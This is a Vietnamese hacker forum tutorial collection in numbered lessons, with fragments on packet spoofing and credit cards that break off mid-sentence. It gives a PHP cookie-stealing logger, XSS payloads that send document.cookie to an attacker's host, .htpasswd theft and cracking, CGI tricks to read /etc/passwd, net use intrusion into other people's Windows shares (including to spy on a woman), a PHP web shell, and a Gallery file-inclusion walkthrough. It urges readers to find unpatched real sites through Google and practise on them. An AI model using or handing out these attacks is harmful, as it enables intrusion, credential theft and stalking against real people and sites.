Những thông tin này có thể bao gồm tên/định danh người dùng, mật khẩu, sở thích, thói quen...Cookie được browser của người dùng chấp nhận lưu trên đĩa cứng của máy mình, ko phải browser nào cũng hỗ trợ cookie. Sau một lần truy cập vào site, những thông tin về người dùng được lưu trữ trong cookie. Ở những lần truy cập sau đến site đó, web site có thể dùng lại những thông tin trong cookie (như thông tin liên quan đến việc đăng nhập vào 1 forum...) mà người ko phải làm lại thao tác đăng nhập hay phải nhập lại các thông tin khác. Vấn đề đặt ra là có nhiều site quản lý việc dùng lại các thông tin lưu trong cookie ko chính xác, kiểm tra ko đầy đủ hoặc mã hoá các thông tin trong cookie còn sơ hở giúp cho hacker khai thác để vượt qua cánh cửa đăng nhập, đoạt quyền điêu khiển site .

_ Cookies thường có các thành phần sau :

+ Tên: do người lập trình web site chọn
+ Domain: là tên miền từ server mà cookie được tạo và gửi đi
+ Đường dẫn: thông tin về đường dẫn ở web site mà bạn đang xem
+ Ngày hết hạn: là thời điểm mà cookie hết hiệu lực .
+ Bảo mật: Nếu giá trị này đựơc thiết lập bên trong cookie, thông tin sẽ đựơc mã hoá trong quá trình truyền giữa server và browser.
+ Các giá trị khác: là những dữ liệu đặc trưng được web server lưu trữ để nhận dạng về sau các giá trị này ko chứa các khoảng trắng, dấu chấm, phẩy và bị giới hạn trong khoảng 4k.

( Tài liệu của Viethacker.net )

21 . ) Kỹ thuật lấy cắp cookie của nạn nhân :

_ Trước hết , các bạn hãy mở notepad rồi chép đoạn mã sau vào notepad đó :

CODE
<?php
define (``LINE``, ``\r\n``);
define (``HTML_LINE``, ``
``);
function getvars($arr, $title)
{
$res = ````;
$len = count($arr);
if ($len > 0)
{
if (strlen($title) > 0)
{
print(``[--------$title--------]`` . HTML_LINE);
$res .= ``[--------$title--------]`` . LINE;
}
foreach ($arr as $key = > $value)
{
print(``[$key]`` . HTML_LINE);
print($arr[$key] . HTML_LINE);
$res .= ``[$key]`` . LINE . $arr[$key] . LINE;
}
}
return $res;
}
// get current date
$now = date(``Y-m-d H:i:s``);
// init
$myData = ``[-----$now-----]`` . LINE;
// get
$myData .= getvars($HTTP_GET_VARS, ````);
// file
$file = $REMOTE_ADDR . ``.txt``;
$mode = ``r+``;
if (!file_exists($file))
$mode = ``w+``;
$fp = fopen ($file, $mode);
fseek($fp, 0, SEEK_END);
fwrite($fp, $myData);
fclose($fp);
? >


hoặc

CODE
<?php
if ($contents && $header){
mail(``victim@yahoo.com`` , ``from mail script``,$contents,$header) or
die(`couldnt email it`);
sleep(2);
? >
<script language=javascript >


<?php
} else {
echo ``nope``;
}


(Bạn hãy sửa cái victim@yahoo.com thành địa chỉ Mail của bạn ) .

Bạn hãy save cái notepad này với tên “< tên tuỳ các bạn > .php ” ( Nhớ là phải có .php ) rồi upload lên một host nào đó có hỗ trợ PHP , trong VD của tôi là abc.php .( Đối với các bạn đã từng làm Web chắc sẽ rất dễ phảI không ? ) . Đoạn mã này sẽ có nhiệm vụ ăn cắp thông tin (và có khi có cả cookie ) của nạn nhân khi họ mở dữ liệu có chứa đoạn mã này rồI tự động save thông tin đó thành file < ip của nạn nhân > .txt .
_ Còn một cách nữa để lấy cookie đựơc sử dụng trên các forum bị lỗi nhưng chưa fix , khi post bài bạn chi cần thêm đoạn mã sau vào bài của mình :

CODE
document.write(` `)


với host_php : là địa chỉ bạn đã upload file ăn cắp cookie đó lên .
và abc.php là file VD của tôi .
_ Ví dụ : khi áp dụng trong tag img, ta dùng như sau:

CODE
`)\">


hoặc:

[CODE
img]javascript: Document.write(`&#x3cimg src=http://host_php/docs.php?docs=`+escape(document .cookie)+`&#x3e`)\">


_ Bạn có thể tìm những trang web để thực hành thử cách trong VD này bằng cách vào google.com tìm những forum bị lỗi này bằng từ khoá ``Powered by …….. forum” với những forum sau : ikonboard, Ultimate Bulletin Board , vBulletin Board, Snitz . Nếu các bạn may mắn các bạn có thể tìm thấy những forum chưa fix lỗi này mà thực hành , ai tìm được thì chia sẽ với mọi người nhé .
_ Còn nhiều đoạn mã ăn cắp cookie cũng hay lắm , các bạn hãy tự mình tìm thêm .

22 . ) Cách ngắt mật khẩu bảo vệ Website :

_ Khi các bạn tới tìm kiếm thông tin trên một trang Web nào đó , có một số chỗ trên trang Web đó khi bạn vào sẽ bị chặn lại và sẽ xuất hiện một box yêu cầu nhập mật khẩu , đây chính là khu vực riêng tư cất dấu những thông tin mật chỉ dành cho số người hoặc một nhóm người nào đó ( Nơi cất đồ nghề hack của viethacker.net mà báo e-chip đã nói tới chẳng hạn ) . Khi ta click vào cái link đó thì ( thông thường ) nó sẽ gọi tới .htpasswd và .htaccess nằm ở cùng trong thư mục bảo vệ trang Web . Tại sao phải dùng dấu chấm ở trước trong tên file `.htaccess`? Các file có tên bắt đầu là một dấu chấm `.` sẽ được các web servers xem như là các file cấu hình. Các file này sẽ bị ẩn đi (hidden) khi bạn xem qua thư mục đã được bảo vệ bằng file .htaccess .Hai hồ sơ này có nhiệm vụ điều khiển sự truy nhập tới cái link an toàn mà bạn muốn xâm nhập đó . Một cái quản lý mật khẩu và user name , một cái quản lý công việc mã hoá những thông tin cho file kia . Khi bạn nhập đúng cả 2 thì cái link đó mới mở ra . Bạn hãy nhìn VD sau :

CODE
Graham:F#.DG*m38d%RF
Webmaster:GJA54j.3g9#$@f


Username bạn có thể đọc được rùi , còn cái pass bạn nhìn có hiểu mô tê gì không ? Dĩ nhiên là không rồi . bạn có hiểu vì sao không mà bạn không thể đọc được chúng không ? cái này nó có sự can thiệp của thằng file .htaccess . Do khi cùng ở trong cùng thư mục chúng có tác động qua lại để bảo vệ lẫn nhau nên chúng ta cũng không dại gì mà cố gắng đột nhập rồi crack mớ mật khẩu chết tiệt đó ( khi chưa có đồ nghề crack mật khẩu trong tay . Tôi cũng đang nghiên cứu để có thể xâm nhập trực tiếp , nếu thành công tôi sẽ post lên cho các bạn ) . Lỗi là ở đây , chuyện gì sẽ xảy ra nếu cái .htpasswd nằm ngoài thư mục bảo vệ có file .htaccess ? Ta sẽ chôm được nó dễ dàng , bạn hãy xem link VD sau :

http://www.company.com/cgi-bin/pro tected/


hãy kiểm tra xem file .htpasswd có được bảo vệ bởI .htaccess hay không , ta nhập URL sau :

http://www.company.com/cgi-bin/pro tected/.htpasswd

Nếu bạn thấy có câu trả lờI `File not found` hoặc tương tự thì chắc chắn file này đã không được bảo vệ , bạn hãy tìm ra nó bằng một trong các URL sau :

http://www.company.com/.htpasswd</ a>
http://www.company.com/cgi-bin/.ht passwd
http://www.company.com/cgi-bin/pas swords/.htpasswd
http://www.company.com/cgi-bin/pas swd/.htpasswd

nếu vẫn không thấy thì các bạn hãy cố tìm bằng các URL khác tương tự ( có thể nó nằm ngay ở thư mục gốc đấy ) , cho đến khi nào các bạn tìm thấy thì thôi nhé .
Khi tìm thấy file này rồi , bạn hãy dùng chương trình ``John the ripper`` hoặc ``Crackerjack``, để crack passwd cất trong đó . Công việc tiếp theo hẳn các bạn đã biết là mình phải làm gì rồI , lấy user name và passwd hợp lệ đột nhập vào rùi xem thử mấy cô cậu “tâm sự” những gì trong đó , nhưng các bạn cũng đừng có đổi pass của họ hay quậy họ nhé .
Cách này các bạn cũng có thể áp dụng để lấy pass của admin vì hầu hết những thành viên trong nhóm kín đều là “có chức có quyền” cả .

23 . ) Tìm hiểu về CGI ?

_ CGI là từ viết tắt của Common Gateway Interface , đa số các Website đều đang sử dụng chương trình CGI ( được gọI là CGI script ) để thực hiện những công việc cần thiết 24 giờ hằng ngày . Những nguyên bản CGI script thực chất là những chương trình được viết và được upload lên trang Web vớI những ngôn ngữ chủ yếu là Perl , C , C++ , Vbscript trong đó Perl được ưa chuộng nhất vì sự dễ dàng trong việc viết chương trình ,chiếm một dung lượng ít và nhất là nó có thể chạy liên tục trong 24 giờ trong ngày .
_ Thông thường , CGI script được cất trong thư mục /cgi-bin/ trên trang Web như VD sau :

http://www.company.com/cgi-bin/log in.cgi


với những công việc cụ thể như :
+ Tạo ra chương trình đếm số người đã ghé thăm .
+ Cho phép những ngườI khách làm những gì và không thể làm những gì trên Website của bạn .
+ Quản lý user name và passwd của thành viên .
+ Cung cấp dịch vụ Mail .
+ Cung cấp những trang liên kết và thực hiện tin nhắn qua lại giữa các thành viên .
+ Cung cấp những thông báo lỗi chi tiết .v.v…..

24 . ) Cách hack Web cơ bản nhất thông qua CGI script :

_ Lỗi thứ 1 : lỗi nph-test-cgi

+ Đánh tên trang Web bị lỗi vào trong trình duyệt của bạn .
+ Đánh dòng sau vào cuốI cùng : /cgi-bin/nph-test-cgi
+ Lúc đó trên URL bạn sẽ nhìn giống như thế này :

http://www.servername.com/cgi-bin/ nph-test-cgi

+ Nếu thành công bạn sẽ thấy các thư mục được cất bên trong . Để xem thư mục nào bạn đánh tiếp :

CODE
? /*


+ file chứa passwd thường được cất trong thư mục /etc , bạn hãy đánh trên URL dòng sau :

http://www.servername.com/cgi-bin/ nph-test-cgi?/etc/*

_ Lỗi thứ 2 : lỗi php.cgi

+ Tương tự trên bạn chỉ cần đánh trên URL dòng sau để lấy pass :

http://www.servername.com/cgi-bin/ php.cgi?/etc/passwd

Quan trọng là đây là những lỗi đã cũ nên việc tìm các trang Web để các bạn thực hành rất khó , các bạn hãy vào trang google.com rồi đánh từ khoá :

/cgi-bin/php.cgi?/etc/passwd]
hoặc cgi-bin/nph-test-cgi?/etc

sau đó các bạn hãy tìm trên đó xem thử trang nào chưa fix lỗi để thực hành nhé .

25 . ) Kỹ thuật xâm nhập máy tính đang online :

_ Xâm nhập máy tính đang online là một kỹ thuật vừa dễ lạI vừa khó . Bạn có thể nói dễ khi bạn sử dụng công cụ ENT 3 nhưng bạn sẽ gặp vấn đề khi dùng nó là tốc độ sử dụng trên máy của nạn nhân sẽ bị chậm đi một cách đáng kể và những máy họ không share thì không thể xâm nhập được, do đó nếu họ tắt máy là mình sẽ bị công cốc khi chưa kịp chôm account , có một cách êm thấm hơn , ít làm giảm tốc độ hơn và có thể xâm nhập khi nạn nhân không share là dùng chương trình DOS để tấn công . Ok , ta sẽ bắt đầu :
_ Dùng chương trình scan IP như ENT 3 để scan IP mục tiêu .
_ Vào Start == > Run gõ lệnh cmd .
_ Trong cửa sổ DOS hãy đánh lệnh “net view ”

CODE
+ VD : c:\net view 203.162.30.xx


_ Bạn hãy nhìn kết quả , nếu nó có share thì dễ quá , bạn chỉ cần đánh tiếp lệnh

net use <ổ đĩa bất kỳ trên máy của bạn > : <ổ share của nạn nhân >

+ VD : c:\net use E : 203.162.30.xxC

_ Nếu khi kết nối máy nạn nhân mà có yêu cầu sử dụng Passwd thì bạn hãy download chương trình dò passwd về sử dụng ( theo tôi bạn hãy load chương trình “pqwak2” áp dụng cho việc dò passwd trên máy sử dụng HĐH Win98 hoặc Winme và chương trình “xIntruder” dùng cho Win NT ) . Chú ý là về cách sử dụng thì hai chương trình tương tự nhau , dòng đầu ta đánh IP của nạn nhân , dòng thứ hai ta đánh tên ổ đĩa share của nạn nhân nhưng đối với “xIntruder” ta chú ý chỉnh Delay của nó cho hợp lý , trong mạng LAN thì Delay của nó là 100 còn trong mạng Internet là trên dướI 5000 .
_ Nếu máy của nạn nhân không có share thì ta đánh lệnh :

net use <ổ đĩa bất kỳ trên máy của bạn > : c$ (hoặc d$)``administrator``

+ VD : net use E : 203.162.30.xxC$``administrator``

Kiểu chia sẽ bằng c$ là mặc định đối với tất cả các máy USER là ``administrator`` .
_ Chúng ta có thể áp dụng cách này để đột nhập vào máy của cô bạn mà mình “thầm thương trộm nhớ” để tìm những dữ liệu liên quan đến địa chỉ của cô nàng ( với điều kiện là cô ta đang dùng máy ở nhà và bạn may mắn khi tìm được địa chỉ đó ) . Bạn chỉ cần chat Y!Mass rồi vào DOS đánh lệnh :

c:\netstat –n

Khi dùng cách này bạn hãy tắt hết các cửa sổ khác chỉ để khung chat Y!Mass với cô ta thôi , nó sẽ giúp bạn dễ dàng hơn trong việc xác định địa chỉ IP của cô ta . Sau đó bạn dùng cách xâm nhập mà tôi đã nói ở trên .( Có lẽ anh chàng tykhung của chúng ta hồi xưa khi tán tỉnh cô bạn ở xa qua mạng cũng dùng cách này để đột nhập và tìm hiểu địa chỉ của cô ta đây mà , hi`hi` . )
Bạn sẽ thành công nếu máy của nạn nhân không cài firewall hay proxy .

=================================================== =

Nhiều bạn có yêu cầu tôi đưa ra địa chỉ chính xác cho các bạn thực tập , nhưng tôi không thể đưa ra được vì rút kinh nghiệm những bài hướng dẫn có địa chỉ chính xác , khi các bạn thực hành xong đoạt được quyền admin có bạn đã xoá cái database của họ . Như vậy HVA sẽ mang tiếng là nơi bắt nguồn cho sự phá hoại trên mạng . mong các bạn thông cảm , nếu có thể thì tôi chỉ nêu những cách thức để các bạn tìm những dịa chỉ bị lỗi đó chứ không đưa ra địa chỉ cụ thể nào .
Ở phần 4 tôi sẽ đề cập đến kỹ thuật chống xâm nhập vào máy tính của mình khi bạn online , tìm hiểu sơ các bước khi ta quyết định hack một trang Web , kỹ thuật tìm ra lỗi trang Web để thực hành , kỹ thuật hack Web thông qua lỗi Gallery.v.v…….


Tìm hiểu về RPC (Remote Procedure Call) :

_ Windows NT cung cấp khả năng sử dụng RPC để thực thi các ứng dụng phân tán . Microsoft RPC bao gồm các thư viện và các dịch vụ cho phép các ứng dụng phân tán hoạt động được trong môi trường Windows NT. Các ứng dụng phân tán chính bao gồm nhiều tiến trình thực thi với nhiệm vụ xác định nào đó. Các tiến trình này có thể chạy trên một hay nhiều máy tính.

_Microsoft RPC sử dụng name service provider để định vị Servers trên mạng. Microsoft RPC name service provider phải đi liền với Microsoft RPC name service interface (NIS). NIS bao bao gồm các hàm API cho phép truy cập nhiều thực thể trong cùng một name service database (name service database chứa các thực thể, nhóm các thực thể, lịch sử các thực thể trên Server).
Khi cài đặt Windows NT, Microsoft Locator tự động được chọn như là name service provider. Nó là name service provider tối ưu nhất trên môi trường mạng Windows NT.

27 . ) Kỹ thuật đơn giản để chống lại sự xâm nhập trái phép khi đang online thông qua RPC (Remote Procedure Call) :

_ Nếu bạn nghi ngờ máy của mình đang có người xâm nhập hoặc bị admin remote desktop theo dõi , bạn chỉ cần tắt chức năng remote procedure call thì hiện tại không có chương trình nào có thể remote desktop để theo dõi bạn được . Nó còn chống được hầu hết tools xâm nhập vào máy ( vì đa số các tools viết connect dựa trên remote procedure call ( over tcp/ip )).Các trojan đa số cũng dựa vào giao thức này.

Cách tắt: Bạn vào service /remote procedure call( click chuột phải ) chọn starup typt/disable hoặc manual/ apply.

Đây là cách chống rất hữu hiệu với máy PC , nếu thêm với cách tắt file sharing thì rất khó bị hack ) ,nhưng trong mạng LAN bạn cũng phiền phức với nó không ít vì bạn sẽ không chạy được các chương trình có liên quan đến thiết bị này . Tùy theo cách thức bạn làm việc mà bạn có cách chọn lựa cho hợp lý . Theo tôi thì nếu dùng trong mạng LAN bạn hãy cài một firewall là chắc chắn tương đối an toàn rồi đó .

( Dựa theo bài viết của huynh “Đời như củ khoai ” khoaimi – admin của HVA )

28 . ) Những bước để hack một trang web hiện nay :

_ Theo liệt kê của sách Hacking Exposed 3 thì để hack một trang Web thông thường ta thực hiện những bước sau :
+ FootPrinting : ( In dấu chân )
Đây là cách mà hacker làm khi muốn lấy một lượng thông tin tối đa về máy chủ/doanh nghiệp/người dùng. Nó bao gồm chi tiết về địa chỉ IP, Whois, DNS ..v.v đại khái là những thong tin chính thức có lien quan đến mục tiêu. Nhiều khi đơn giản hacker chỉ cần sử dụng các công cụ tìm kiếm trên mạng để tìm những thong tin đó.
+ Scanning : ( Quét thăm dò )
Khi đã có những thông tin đó rồi, thì tiếp đến là đánh giá và định danh những những dịch vụ mà mục tiêu có. Việc này bao gồm quét cổng, xác định hệ điều hành, .v.v.. Các công cụ được sử dụng ở đây như nmap, WS pingPro, siphon, fscam và còn nhiều công cụ khác nữa.
+ Enumeration : ( liệt kê tìm lỗ hổng )
Bước thứ ba là tìm kiếm những tài nguyên được bảo vệ kém, hoạch tài khoản người dùng mà có thể sử dụng để xâm nhập. Nó bao gồm các mật khẩu mặc định, các script và dịch vụ mặc định. Rât nhiều người quản trị mạng không biết đến hoặc không sửa đổi lại các giá trị này.
+ Gaining Access: ( Tìm cách xâm nhập )
Bây giờ kẻ xâm nhập sẽ tìm cách truy cập vào mạng bằng những thông tin có được ở ba bước trên. Phương pháp được sử dụng ở đây có thể là tấn công vào lỗi tràn bộ đệm, lấy và giải mã file password, hay thô thiển nhất là brute force (kiểm tra tất cả các trường hợp) password. Các công cụ thường được sử dụng ở bước này là NAT, podium, hoặc L0pht.
+ Escalating Privileges : ( Leo thang đặc quyền )
Ví dụ trong trường hợp hacker xâm nhập đựợc vào mạng với tài khoản guest, thì họ sẽ tìm cách kiểm soát toàn bộ hệ thống. Hacker sẽ tìm cách crack password của admin, hoặc sử dụng lỗ hổng để leo thang đặc quyền. John và Riper là hai chương trình crack password rất hay được sử dụng.
+ Pilfering : ( Dùng khi các file chứa pass bị sơ hở )
Thêm một lần nữa các máy tìm kiếm lại đựơc sử dụng để tìm các phương pháp truy cập vào mạng. Những file text chứa password hay các cơ chế không an toàn khác có thể là mồi ngon cho hacker.
+ Covering Tracks : ( Xoá dấu vết )
Sau khi đã có những thông tin cần thiết, hacker tìm cách xoá dấu vết, xoá các file log của hệ điều hành làm cho người quản lý không nhận ra hệ thống đã bị xâm nhập hoặc có biêt cũng không tìm ra kẻ xâm nhập là ai.
+ Creating ``Back Doors`` : ( Tạo cửa sau chuẩn bị cho lần xâm nhập tiếp theo được dễ dàng hơn )
Hacker để lại ``Back Doors``, tức là một cơ chế cho phép hacker truy nhập trở lại bằng con đường bí mật không phải tốn nhiều công sức, bằng việc cài đặt Trojan hay tạo user mới (đối với tổ chức có nhiều user). Công cụ ở đây là các loại Trojan, keylog…
+ Denial of Service (DoS) : ( Tấn công kiểu từ chối dịch vụ )
Nêu không thành công trong việc xâm nhập, thì DoS là phương tiện cuối cùng để tấn công hệ thống. Nếu hệ thống không được cấu hình đúng cách, nó sẽ bị phá vỡ và cho phép hacker truy cập. Hoặc trong trường hợp khác thì DoS sẽ làm cho hệ thống không hoạt động được nữa. Các công cụ hay được sử dụng để tấn công DoS là trin00, Pong Of Death, teardrop, các loại nuker, flooder . Cách này rất lợi hại , và vẫn còn sử dụng phổ biến hiện nay .
_ Tuỳ theo hiểu biết và trình độ của mình mà một hacker bỏ qua bước nào . Không nhất thiết phảI làm theo tuần tự . Các bạn hãy nhớ đến câu “ biết người biết ta trăm trận trăm thắng ” .

( Tài liệu của HVA và hackervn.net )

29 . ) Cách tìm các Website bị lỗi :

_ Chắc các bạn biết đến các trang Web chuyên dùng để tìm kiếm thông tin trên mạng chứ ? Nhưng các bạn chắc cũng không ngờ là ta có thể dùng những trang đó để tìm những trang Web bị lỗi ( Tôi vẫn thường dùng trang google.com và khuyên các bạn cũng nên dùng trang này vì nó rất mạnh và hiệu quả ) .
_ Các bạn quan tâm đến lỗi trang Web và muốn tìm chúng bạn chỉ cần vào google.com và đánh đoạn lỗi đó vào sau “allinurl : ” . VD ta có đoạn mã lỗi trang Web sau :

cgi-bin/php.cgi?/etc/passwd

các bạn sẽ đánh :

“allinurl:cgi-bin/php.cgi?/etc/passwd”

Nó sẽ liệt kê ra những trang Web đang bị lỗi này cho các bạn , các bạn hãy nhìn xuống dưới cùng của mỗi mẫu liệt kê ( dòng địa chỉ màu xanh lá cây ) nếu dòng nào viết y chang từ khoá mình nhập vào thì trang đó đã hoặc đang bị lỗi .Các bạn có xâm nhập vào được hay không thì cũng còn tuỳ vào trang Web đó đã fix lỗi này hay chưa nữa .
_ Các bạn quan tâm đến lỗi forum , các bạn muốn tìm forum dạng này để thực tập , chỉ cần nhập từ khoá

powered by

VD sau là để tìm forum dùng Snitz 2000 :

powered by Snitz 2000

_ Tuy nhiên , việc tìm ra đúng forum hoặc trang Web bị lỗi theo cách đó có xác suất không cao , bạn hãy quan tâm đến đoạn string đặc biệt trong URL đặc trưng cho từng kiểu trang Web hoặc forum đó ( cái này rất quan trọng , các bạn hãy tự mình tìm hiểu thêm nhé ) . VD tìm với lỗi Hosting Controller thì ta sẽ có đoạn đặc trưng sau

``/admin hay /advadmin hay /hosting``

ta hãy đánh từ khoá :

allinurl:/advadmin
hoặc allinurl:/admin
hoặc allinurl:/hosting

Nó sẽ liệt kê ra các trang Web có URL dạng :

http://tentrangweb.com/advadmin
hoặc http://tentrangweb.com/admin
hoặc http://tentrangweb.com/hosting

VD với forum UBB có đoạn đặc trưng

``cgi-bin/ultimatebb.cgi?``

Ta cũng tìm tương tự như trên .
Chỉ cần bạn biết cách tìm như vậy rồi thì sau này chỉ cần theo dõi thông tin cập nhật bên trang “Lỗi bảo mật” của HVA do bạn LeonHart post hằng ngày các bạn sẽ hiểu được ý nghĩa của chúng và tự mình kiểm tra .

30 . ) Kỹ thuật hack Web thông qua lỗi Gallery ( một dạng của lỗi php code inject ):

_ Gallery là một công cụ cho phép tạo một gallery ảnh trên web được viết bằng PHP , lợi dụng sơ hở này ta có thể lợi dụng để viết thêm vào đó một mã PHP cho phép ta upload , đó chính là mục đích chính của ta .
_ Trước hết bạn hãy đăng ký một host miễn phí , tốt nhất là bạn đăng ký ở brinkster.com cho dễ . Sau đó bạn mở notepad và tạo file PHP với đoạn mã sau :

CODE
<?php
global $PHP_SELF;
echo ``
<form method=post action=$PHP_SELF?$QUERY_STRING >
<input type=text name=shell size=40 >
<input type=hidden name=act value=shell >
<input type=submit value=Go name=sm >
``;
set_magic_quotes_runtime(1);
if ($act == ``shell``) {
echo ``\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n< xmp > ``;
system($shell);
echo ``

\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n``; }
echo `` ``;
? >


Đoạn mã này bạn hãy tạo làm 2 file có tên khác nhau ( nhưng cùng chung một mã ) và đặt tên là :
+ shellphp.php : file này dùng để chạy shell trên victim host .
+ init.php : file này dùng để upload lên trang có host bạn vừa tạo . ( Bạn hãy upload file init.php này lên sớm vì ta sẽ còn sử dụng nó nhưng với đoạn mã khác , bạn quên upload file này lên là tiêu )

Bạn hãy tạo thêm một file PHP với mã sau :

CODE
<?php
function handleupload() {
if (is_uploaded_file($_FILES[`userfile`][`tmp_name`])) {
$filename = $_FILES[`userfile`][`tmp_name`];
print ``$filename was uploaded successfuly``;
$realname = $_FILES[`userfile`][`name`];
print ``realname is $realname\n``;
print ``copying file to uploads dir ``.$realname;
copy($_FILES[`userfile`][`tmp_name`],*PATH*.$realna me); // lưu ý *PATH* chúng ta sẽ thay đổi sau
} else {
echo ``Possible file upload attack: filename``.$_FILES[`userfile`][`name`].``.``;
}
}
if ($act == ``upload``) {
handleupload();
}
echo ``
<form ENCTYPE=multipart/form-data method=post action=$PHP_SELF?$QUERY_STRING >
File:<INPUT TYPE=FILE NAME=userfile SIZE=35 >
<input type=hidden name=MAX_FILE_SIZE value=1000000 >
<input type=hidden name=act value=upload >
<input type=submit value=Upload name=sm >

``;
? >


Bạn hãy đặt tên là upload.php , nó sẽ dùng để upload lên trang Web của nạn nhân .
_ Tiếp theo Bạn vào Google, gõ ``Powered by gallery`` rồi enter, Google sẽ liệt kê một đống những site sử dụng Gallery , bạn hãy chọn lấy một trang bất kỳ rồI dùng link sau để thử xem nó còn mắc lỗI Gallery hay không :

http:// trang Web của nạn nhân > /gallery./captionator.php?GALLERY_BASEDIR=http://ww wxx.brinkster.com/ /

Nếu bạn thấy hiện lên một ô hình chữ nhật ở phía trên cùng , bên phải của nó là ô lệnh chuyển tiếp có chữ “Go” là coi như bạn đã tìm thấy được đốI tượng rồi đó . Bây giờ bạn đã có thể gõ lệnh thông qua ô chữ nhật đó để hack Web của nạn nhân .
Trước hết bạn hãy gõ lệnh “pwd” để xác định đường dẫn tuyệt đối đến thư mục hiện thời rồi nhấn nút “Go” , khi nó cho kết quả bạn hãy nhanh chóng ghi lại đường dẫn ở phía dướI ( Tôi sẽ sử dụng VD đường dẫn tôi tìm thấy là “/home/abc/xyz/gallery” ).
Sau đó bạn đánh tiếp lệnh “|s –a|” để liệt kê các thư mục con của nó . Bây giờ bạn hãy nhìn kết quả , bạn sẽ thấy một đống các thư mục con mà ta đã liệt kê . Bạn hãy luôn nhớ là mục đích của chúng ta là tìm một thư mục có thể dùng để upload file upload.php mà ta đã chuẩn bị từ trước do đó bạn hãy xác định cùng tôi bằng cách nhìn vào những chữ cuốI cùng của mỗi hàng kết quả :
+ Bạn hãy loại bỏ trường hợp các thư mục mà có dấu “.” hoặc “..” vì đây là thư mục gốc hoặc là thư mục ảo ( Nó thường được xếp trên cùng của các hàng kết quả ) .
+ Bạn cũng loạI bỏ những hàng có chữ cuối cùng có gắn đuôi ( VD như config.php , check.inc .v.v… ) vì đây là những file chứ không phải là thư mục .
+ Còn lại là những thư mục có thể upload nhưng tôi khuyên bạn nên chọn những hàng chứa tên thư mục mà có chứa số lớn hơn 1 ( Bạn có thể xác định được chúng bằng cách nhìn cột thứ 2 từ trái sang ) , vì như vậy vừa chắc chắn đây là thư mục không phải thư mục ảo , vừa làm cho admin của trang Web đó khó phát hiện khi ta cài file của ta vào . Tôi VD tôi phát hiện ra thư mục “loveyou” có chứa 12 file có thể cho ta upload , như vậy đường dẫn chính thức mà ta upload lên sẽ là :

/home/abc/xyz/Gallery/loveyou

Bây giờ bạn hãy vào account host của bạn, sửa nội dung file init.php giống như mã của file upload.php, nhưng sửa lại *PATH* thành “/home/abc/xyz/gallery/loveyou/ ”. Đồng thời cũng chuẩn bị một file upload.php trên máy của bạn với *PATH* là “” ( 2 dấu ngoặc kép ).
Bây giờ là ta đã có thể upload file upload.php lên trang Web của nạn nhân được rồi , bạn hãy nhập địa chỉ sau trên trình duyệt Web của bạn :

http:// trang Web của nạn nhân > /gallery./captionator.php?GALLERY_BASEDIR=http://ww wxx.brinkster.com/ /

Bạn sẽ thấy xuất hiện tiếp một khung hình chữ nhật và bên cạnh là có 2 nút lệnh , một là nút “brown” , một là nút “upload” . Nút “brown” bạn dùng để dẫn đến địa chỉ file upload.php bạn đã chuẩn bị trên máy của bạn , nút “upload” khi bạn nhấn vào đó thì nó sẽ upload file upload.php lên trang Web của nạn nhân . Ok , bây giờ coi như bạn đã hoàn thành chặng đường hack Web rồi đó . Từ bây giờ bạn hãy vận dụng để tấn công đối thủ như lấy database , password ( làm tương tự như các bài hướng dẫn hack trước ) , nhưng các bạn chỉ nên thực tập chứ đừng xoá database hay phá Web của họ. Nếu là một hacker chân chính các bạn chỉ cần upload lên trang Web dòng chữ : “Hack by ……..” là đủ rồi .
Cũng như những lần trước , các bạn có thành công hay không cũng tuỳ thuộc vào sự may mắn và kiên trì nghiên cứu vận dụng kiến thức của các bạn .

( Dựa theo hướng dẫn hack của huynh vnofear – viethacker.net


Gói tin TCP/IP là gì?

TCP/IP viết tắt cho Transmission Control Protocol and Internet Protocol, một Gói tin TCP/IP là một khối dữ liệu đã được nén, sau đó kèm thêm một header và gửi đến một máy tính khác. Đây là cách thức truyền tin của internet, bằng cách gửi các gói tin. Phần header trong một gói tin chứa địa chỉ IP của người gửi gói tin. Bạn có thể viết lại một gói tin và làm cho nó trong giống như đến từ một người khác!! Bạn có thể dùng cách này để tìm cách truy nhập vào rất nhiều hệ thống mà không bị bắt. Bạn sẽ phải ch

Tim hieu the tin dung

http://www.4shared.com/dir/583440/6f4c8903/software.html

Credit Cards hay các thẻ tín dụng đối với đa số người Việt tại hải ngoại không có gì là mới mẻ, đã có nhiều bài viết về vấn đề này rồi nên cũng chỉ lập lại và thêm chút xíu thôi. Mình thấy nguồn lợi tức chính của các ngân hàng không phải là cho các công ty lớn vay muợn hàng trăm triệu dollars để thu lời mà do tiền lời và lệ phí thu được từ các thẻ tín dụng . Nói ra chắc các bạn không tin, nhiều khi ngân hàng thu lời đuợc 100% từ tiền cho vay ở thẻ tín dụng . Ví dụ ngân hàng A cấp cho anh B một thẻ tín dụng với credit line là $500.00 USD và annual fee là $79.00 USD một năm tiền lời là 19.9%/năm nếu anh B xài quá credit line của mình thì tiền lời sẽ là 26.5%/năm và mỗi lần vuợt qua giới hạn ( over limit fee ) sẽ bị phạt $39.00/lần, anh B này trả trễ cũng bị phạt $39.00 USD/lần . Các bạn thử cộng lại sẽ thấy anh B này đã tốn bao nhiêu tiền cho ngân hàng

- Việt Nam trong tưong lai thẻ tín dụng cũng sẽ đưọc phổ biến rộng rãi đến mọi tầng lớp xã hội, vì vậy chúng ta cũng nên tìm hiểu thêm về vấn đề này . Vivi sẽ tham khảo từng bước với các bạn về thẻ tín dụng:
Trong một giao dịch bán lẻ truyền thống các vạch từ được đọc bởi thiết bị đầu cuối của điểm mua bán . Mã số kiểm tra giá trị sử dụng của Visa card ( CVV ) hay Mastercard ( CVC ) được mã hoá trong các vạch này có thể được người phát hành thẻ kiểm tra trong thời gian còn hiệu lực sử dụng . Tuy nhiên nếu thẻ không còn giá trị sử dụng thì thẻ CVV hay thẻ CVC không còn hợp lệ nữa . Để giảm hiện tượng lừa đảo trong môi trường sử dụng card không hiện hữu ( card ảo ) những người mua hàng ,nhà buôn và người dùng thẻ sử dụng cvv2 hay cvc2 :

- Vậy Cvv2 Hay Cvc 2 Là Gì :

